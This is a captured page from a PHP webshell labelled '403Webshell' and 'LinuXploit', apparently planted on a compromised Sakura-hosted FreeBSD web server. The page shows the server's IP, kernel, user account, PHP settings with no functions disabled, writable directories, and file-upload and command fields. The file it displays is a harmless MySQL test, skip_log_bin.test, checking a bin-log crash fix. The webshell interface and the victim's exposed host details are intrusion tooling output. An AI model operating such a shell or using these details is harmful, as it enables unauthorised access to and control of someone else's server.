403Webshell
Server IP : 49.212.180.16  /  Your IP : 3.20.221.0
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/rs/mysql/5.1/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rs/mysql/5.1/mysql-test/t/skip_log_bin.test
#
# binlog_off.test purpose is to verify that the --skip-log-bin flag
# works correctly
#

--disable_warnings
DROP TABLE IF EXISTS t1, t2;
--enable_warnings

#
# Bug #38798 Assertion mysql_bin_log.is_open() failed in 
#            binlog_trans_log_savepos()
# Testing that there is no crash.
# Before BUG#38798, the code for CREATE...SELECT called an internal function to
# binlog the statement, even with --skip-log-bin. This caused an assertion
# to be thrown since the binlog was not open.

set @@session.binlog_format=row;

create table t1 (a int);
insert into t1 values (1);
create table t2 select * from t1;

# clean-up
drop table t1, t2;

Youez - 2016 - github.com/yon3zu
LinuXploit